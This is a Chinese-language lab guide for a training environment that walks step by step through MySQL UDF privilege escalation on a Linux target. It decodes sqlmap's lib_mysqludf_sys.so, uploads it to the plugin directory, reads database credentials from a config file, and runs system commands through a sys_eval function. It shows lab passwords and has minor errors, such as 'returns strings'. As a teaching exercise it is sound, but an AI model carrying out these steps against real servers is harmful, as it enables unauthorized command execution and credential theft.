Mysql提权-基于Mysql的UDF提权(Linux系统)
基于Mysql的UDF提权(Linux系统)
【实验目的】
通过本实验理解如何通过webshell结合sqlmap自带的dll文件对Linux系统进行UDF提权,熟悉UDF提权的主要方法。
【实验环境】
攻击机:Kali-pri
用户名college,密码360College
目标靶机:CentOS-sqli-lab
用户名college,密码360College
【实验原理】
scp命令简介:
scp是 secure copy的缩写, scp是linux系统下基于ssh登录进行安全的远程文件拷贝命令。linux的scp命令可以在linux服务器之间复制文件和目录。
复制文件的命令格式:
scp local_file remote_username@remote_ip:remote_folder
scp dama.php michael@192.168.198.13:/var/www/html/wordpress
【实验步骤】
1.启动靶机CentOS-sqli-lab、攻击机Kali-pri。
2.将Kali系统中sqlmap自带的udf提权库文件进行解码。 在Kali攻击机上,启动终端,依次输入如下命令:
(1)sudo su
//切换到root用户
(2)cd /usr/share/sqlmap/extra/cloak/
//进入cloak目录
(3)python cloak.py -d -i /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so_
//将lib_mysqludf_sys.so_进行解码
解码后,在/usr/share/sqlmap/udf/mysql/linux/64目录下会生成一个名为“lib_mysqludf_sys.so”的解码后的so文件。
3.将攻击机上的lib_mysqludf_sys.so文件上传至靶机的/usr/lib64/mysql/plugin目录(此为mysql数据库的插件安装目录),所用命令为:
scp /usr/share/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so 【靶机的账户】@【靶机IP地址】: /usr/lib64/mysql/plugin
这里所用的靶机账户为college,密码为360College
4.在Kali攻击机上,利用nmap扫描靶机开放的端口,所用命令为:
nmap -sS 【靶机IP地址】
注意:该命令只有管理员身份(即root用户)才能使用!
通过nmap扫描结果得知,目标靶机开放了TCP 22端口。
5.在Kali攻击机上,通过SSH连接靶机,所用命令为:
ssh 【靶机的账户】@【靶机IP地址】
这里所用的靶机账户为college,密码为360College
6.通过SSH成功连接靶机后,进入靶机的/var/www/html/sql-connections目录,通过查看db-creds.inc文件内容获取靶机MySQL数据库root账户的密码。所用命令为:
(1)cd /var/www/html/sql-connections
//进入该目录
(2)cat db-creds.inc
//查看db-creds.inc文件内容
这里获取到的MySQL数据库root账户的密码为root123456
7.用root账户连接靶机的MySQL数据库。
依次输入以下命令:
(1)cd /usr/bin
//进入MySQL可执行文件的目录
(2)mysql -h 127.0.0.1 -u root -p
//连接MySQL
(3)输入root账户的密码root123456
当出现mysql>的提示符时,则表示连接成功。
8.利用第3步中上传的lib_mysqludf_sys.so文件,创建一个MySQL函数sys_eval,所用命令为:
create function sys_eval returns strings soname ‘lib_mysqludf_sys.so’;
创建完成后,利用如下命令查看结果:
select * from mysql.func;
9.利用sys_eval函数执行系统命令:
(1)select sys_eval(‘whoami’);
(2)select sys_eval(‘id’);
实验至此结束。
【思考与总结】
通过本次实验,掌握了利用webshell结合sqlmap自带的dll文件对Linux系统进行UDF提权的方法。